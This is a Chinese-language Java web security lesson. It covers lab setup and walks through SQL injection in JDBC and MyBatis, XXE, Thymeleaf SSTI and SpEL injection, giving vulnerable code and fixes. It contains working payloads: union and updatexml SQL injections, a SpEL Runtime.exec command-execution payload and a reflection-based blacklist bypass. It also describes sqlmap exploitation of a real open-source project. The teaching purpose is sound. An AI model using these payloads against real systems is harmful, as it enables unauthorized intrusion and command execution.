前记
本节课是Java安全的入门第一讲,核心围绕JavaWeb场景下的4类高频注入漏洞展开:JDBC/MyBatis SQL注入、XXE注入、SSTI模板注入、SPEL表达式注入。课程以"原理理解+靶场实战"为主,配套实操环境和资源,重点掌握漏洞成因、POC编写、利用方法及修复思路,为后续Java安全深入学习打下基础。
一、环境搭建(必做,支撑后续实战)
本节课需搭建两个核心靶场环境,均要求JDK1.8、MySQL5.7(MySQL8+会出现语法错误),支持Docker或手动安装,以下为手动安装详细步骤:
(一)Hello-Java-Sec 环境搭建
-
下载地址:GitHub直接搜索下载,获取源码包;
-
数据库配置:CREATE DATABASE IF NOT EXISTS java_sec DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;USE java_sec;-- 用户表(5.7 兼容版)CREATE TABLE `users`( `id` int(11) unsigned NOT NULL AUTO_INCREMENT, `uuid` CHAR(36) NOT NULL, `user` varchar(50) NOT NULL, `pass` varchar(128) NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `uuid_unique` (`uuid`));-- 触发器:插入时自动生成 UUIDDELIMITER $$CREATE TRIGGER `users_before_insert`BEFORE INSERT ON `users`FOR EACH ROWBEGIN IF NEW.uuid IS NULL OR NEW.uuid = '' THEN SET NEW.uuid = UUID(); END IF;END$$DELIMITER ;-- 预置数据(手动给 uuid)INSERT INTO `users` (`id`, `uuid`, `user`, `pass`) VALUES (1, UUID(), 'zhangwei', '123456'), (2, UUID(), 'Admin', 'password'), (3, UUID(), 'wangwei', '123123');-- 登录日志表CREATE TABLE `auth`( `id` int(6) unsigned NOT NULL AUTO_INCREMENT, `user` varchar(50) NOT NULL, `ip` varchar(50) NOT NULL, `date` varchar(60) NOT NULL, PRIMARY KEY (`id`));-- 存储型 XSS 表CREATE TABLE `xss`( `id` int(6) unsigned NOT NULL AUTO_INCREMENT, `user` varchar(50) NOT NULL, `content` TEXT NOT NULL, `date` varchar(60) NOT NULL, PRIMARY KEY (`id`));
- 打开源码中 application-dev.properties 文件,修改为本地MySQL数据库连接信息(账号、密码、数据库名);
- 修改 db.sql 文件(适配MySQL5.7),内容如下(创建数据库、表、预置数据):
-
导入数据库:连接本地MySQL,创建java_sec 数据库,导入修改后的 db.sql 文件;
-
打包运行:在源码根目录用Maven打包,运行生成的jar包(默认端口8888,可自行修改);
-
访问测试:浏览器打开 http://localhost:端口,默认账号密码 admin/admin,能正常登录即搭建成功。
(二)JavaSec 环境搭建
-
下载地址:GitHub搜索 bewhale/JavaSec,获取源码;
-
数据库配置:
- 修改 src/main/resources/application.yml 文件,配置本地MySQL账号、密码;
- 创建数据库 javasec(可自定义名称,如 javaseclab),导入源码中的 javasec.sql 文件;
-
打包运行:根目录Maven打包,运行jar包(默认端口8000,可修改);
-
访问测试:浏览器打开 http://localhost:端口,默认账号密码 admin/admin,登录成功即完成搭建。
二、Java安全 - SQL注入(JDBC&MyBatis)
Java中SQL注入的核心成因与PHP类似------用户可控参数直接拼接SQL语句,但因Java常用JDBC、MyBatis等数据库访问框架,漏洞场景更具针对性,主要分为JDBC注入和MyBatis注入两类。
(一)JDBC注入(基础,企业开发中较少用)
JDBC是Java访问数据库的核心标准,直接操作数据库,使用不当易产生注入,主要有4种漏洞场景:
1. 语句拼接(最基础、最高危)
原理:直接将用户可控参数拼接进SQL语句,未做任何过滤或预编译。
// 漏洞代码(直接拼接id参数)
String sql = "select * from users where id = '" + id + "'";
// 注入POC:id传入 ' or 1=1 -- - ,拼接后SQL变为
// select * from users where id = '' or 1=1 -- -
防范:避免直接拼接,使用预编译或严格的黑名单过滤(不推荐)。
2. 预编译的错误使用
原理:虽使用了预编译(PreparedStatement),但仍用拼接方式构造SQL,未使用占位符 ?,等同于未做预编译。
// 错误代码(拼接id,预编译失效)
String sql = "select * from users where id = " + id;
PreparedStatement st = conn.prepareStatement(sql);
// 正确代码(使用?占位符,预编译生效)
String sql = "select * from users where id = ?";
PreparedStatement st = conn.prepareStatement(sql);
st.setString(1, id); // 将参数传入占位符,自动过滤特殊字符
3. JdbcTemplate注入
原理:JdbcTemplate是Spring对JDBC的封装,简化数据库操作,但若使用拼接语句,仍会产生注入。
// 漏洞代码(拼接id参数)
JdbcTemplate jdbctemplate = new JdbcTemplate(dataSource);
String sql = "select * from users where id = " + id;
return jdbctemplate.queryForMap(sql);
// 防范:使用ESAPI框架对参数进行编码
String sql = "select * from users where id = '" + ESAPI.encoder().encodeForSQL(oracleCodec, id) + "'";
ResultSet rs = stmt.executeQuery(sql);
4. 正则过滤绕过
原理:通过正则过滤特殊字符(如只允许a-z、0-9),但仍可能被绕过(如编码、特殊拼接);核心问题是未限制参数数据类型。
防范:优先限制参数数据类型(如id限定为整型),而非单纯依赖正则过滤。
(二)MyBatis注入(企业高频,重点掌握)
MyBatis是Java主流持久层框架,默认通过 #{} 占位符实现预编译,可防注入;但开发者误用 ${}(字符串拼接),会导致注入漏洞。核心区别:
- #{} :预编译,自动对参数转义,安全;
- ${}:字符串拼接,不转义,高危,易产生注入。
常见漏洞场景有3种:
1. Like注入(模糊查询场景)
漏洞成因:使用Like模糊查询时,直接用 #{} 会报错,开发者误将 # 改为$,导致拼接注入。
// 漏洞代码(${username} 拼接,产生注入)
Select * from users where username like '%${username}%'
// 注入POC:username传入 xxx%' union select database(),user(),@@version,4,5 -- -
// 拼接后SQL:select * from users where username like '%xxx%' union select database(),user(),@@version,4,5 -- -%'
// 正确写法(使用concat函数拼接,保留预编译)
Select * from users where username like concat('%',#{username}, '%')
2. Order By注入(排序场景)
漏洞成因:Order By后需接字段名,用 #{} 会报错,开发者改为 ${},允许用户控制排序字段,产生注入。
// 漏洞代码(${field} 拼接排序字段)
select * from users order by ${field}
// 注入POC:field传入 id and (updatexml(1,concat(0x7e,(select user())),0))-- -
// 利用updatexml函数报错,获取数据库用户信息
// 正确写法(固定排序字段,或通过条件判断限制字段)
<mapper namespace="com.best.hello.mapper.UserMapper">
<select id="orderBySafe" resultType="com.best.hello.entity.User">
select * from users
<choose>
<when test="field == 'id'">order by id desc</when>
<when test="field == 'user'">order by user desc</when>
<otherwise>order by id asc limit 1</otherwise>
</choose>
</select>
</mapper>
3. In注入(多值查询场景)
漏洞成因:In语句后需接多个参数,用 #{} 会报错,开发者改为 ${},导致拼接注入。
// 漏洞代码(${ids} 拼接多id参数)
Select * from users where id in (${ids})
// 注入POC:ids传入 1,2,3) and (updatexml(1,concat(0x7e,(select user())),0))-- -
// 正确写法(使用foreach循环,遍历参数,保留预编译)
"<script>" +
"SELECT * FROM users WHERE id IN " +
"<foreach item='item' index='index' collection='ids' open='(' separator=',' close=')'>" +
"#{item}" +
"</foreach>" +
"</script>"
4. 白盒案例演示(inxedu项目)
核心思路:白盒审计时,优先搜索MyBatis的敏感关键字(%{、order by {、in (${),定位漏洞点,再结合前端功能触发注入。
- 环境搭建:IDEA打开inxedu源码,修改 project.properties 数据库配置,导入 demo_inxedu_v2_0_open.sql(MySQL5.5),配置Tomcat9运行;
- 漏洞定位:搜索 in (${,找到删除文章功能的漏洞代码(deleteArticleByIds),调用路径为 /admin/article/delete;
- 实战利用:登录后台(admin/111111),找到文章删除功能,Burp抓包,获取 articelId 参数,用Sqlmap跑注入,获取数据库信息。
(三)SQL注入总结
核心:无论JDBC还是MyBatis,字符串拼接是注入的根源;防范核心是"避免拼接,使用预编译",MyBatis优先用 #{} ,特殊场景(Like/Order By/In)用安全写法替代 ${}。
三、Java安全 - XXE注入(XML外部实体注入)
1. 核心原理
XXE(XML External Entity Injection),即XML外部实体注入,当Java程序中XML解析器配置允许外部实体引用时,攻击者可通过构造恶意XML payload,实现任意文件读取、内网端口探测、命令执行(部分场景)、拒绝服务等攻击。
Java中易产生XXE的核心类/方法(代码审计重点):
- 基础类:XMLReader、SAXReader、SAXBuilder、Unmarshaller、DocumentBuilder;
- 扩展类:XMLStreamReader、SAXParser、SAXSource、TransformerFactory等。
2. 靶场演示要点
- 白盒测试:审计代码中是否存在上述XML解析类/方法,判断是否允许外部实体引用(未做过滤即存在漏洞);
- 黑盒测试:与PHP的XXE测试方法一致,寻找接收XML参数的接口(如接口请求体为XML格式),传入恶意XML payload测试;
- 核心:漏洞本质是XML解析器配置不当,与编程语言无关,测试思路通用。
四、Java安全 - SSTI模板注入(Thymeleaf&URL)
1. 核心原理
SSTI(Server Side Template Injection),服务器模板注入,服务端接收用户可控参数,将其作为模板内容的一部分编译渲染,执行了用户插入的恶意代码,导致RCE、信息泄露等危害。
Java中常见SSTI场景(模板引擎):Thymeleaf(本节课重点)、Freemarker、Velocity、URL作为视图。
2. 靶场案例(Thymeleaf)
漏洞成因:用户可控参数(如语言切换的lang参数)直接拼接进模板路径,未做过滤,导致恶意模板代码执行。
// 漏洞代码(lang参数可控,直接拼接模板路径)
public String lang(String lang) {
return "lang/" + lang; // 恶意lang参数会被当作模板渲染
}
利用方法:传入恶意payload,触发RCE(如弹出计算器),核心是构造符合Thymeleaf语法的恶意模板代码。
3. 测试要点
- 黑盒测试:寻找模板切换场景(语言、皮肤、主题切换),测试可控参数是否能注入恶意代码;
- 注意:无明显提示时,黑盒测试难度较高,需结合场景猜测模板引擎类型。
五、Java安全 - SPEL表达式注入(SpringBoot框架)
1. 核心原理
SPEL(Spring Expression Language),Spring表达式语言,用于运行时查询和操作对象图;若未对用户传入的表达式参数做过滤,会导致恶意表达式被解析执行,相当于Java版的"eval函数",可实现RCE。
2. 漏洞代码与靶场案例
// 漏洞代码(ex参数可控,直接解析SPEL表达式)
public String vul(String ex) {
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext evaluationContext = new StandardEvaluationContext();
Expression exp = parser.parseExpression(ex);
String result = exp.getValue(evaluationContext).toString();
return result;
}
3. 注入POC与绕过
- 基础POC(弹出计算器):T(java.lang.Runtime).getRuntime().exec("calc.exe")解析:T(...) 是SPEL取类对象的操作符,获取Runtime类,调用exec方法执行系统命令;
- 黑名单绕过(如过滤Runtime):利用Java反射+字符串拼接绕过,POC如下:T(String).getClass().forName("java.l" + "ang.Ru" + "ntime").getMethod("ex" + "ec", T(String[])).invoke(T(String).getClass().forName("java.l" + "ang.Ru" + "ntime").getMethod("getRu" + "ntime").invoke(T(String).getClass().forName("java.l" + "ang.Ru" + "ntime")),new String[]{"calc"})核心:用字符串拼接避免直接出现"Runtime",通过反射加载类、调用方法,绕过过滤。
4. 测试要点
先判断是否存在SPEL注入:传入简单运算表达式(如100-1),若返回99,说明表达式会被解析,可进一步注入恶意代码。
六、核心总结与注意事项
1. 本节课核心重点
- Java SQL注入:重点掌握MyBatis的3种注入场景(Like/Order By/In),区分 #{} 和 ${} 的用法;
- XXE注入:记住Java中易产生漏洞的XML解析类,测试思路与PHP通用;
- SSTI注入:聚焦Thymeleaf模板,寻找模板切换场景,识别可控参数;
- SPEL注入:掌握基础POC和反射绕过方法,记住 T(...) 操作符的用法。
2. 实操注意事项
- 环境要求:必须使用JDK1.8、MySQL5.7(5.5/5.7兼容,8+会报错),否则环境无法正常运行;
- 代码审计思路:优先搜索敏感关键字(如 ${、XML解析类、SPEL解析方法),快速定位漏洞点;
- 合规测试:靶场演示需在本地搭建,严禁未经授权测试真实网站,遵守网络安全法律法规。
3. 后续学习关联
本节课是Java安全的基础,后续会深入学习Java反序列化、Spring框架漏洞等内容,需熟练掌握本节课的4类注入漏洞,理解Java代码审计的基本思路,为后续深入学习打下基础。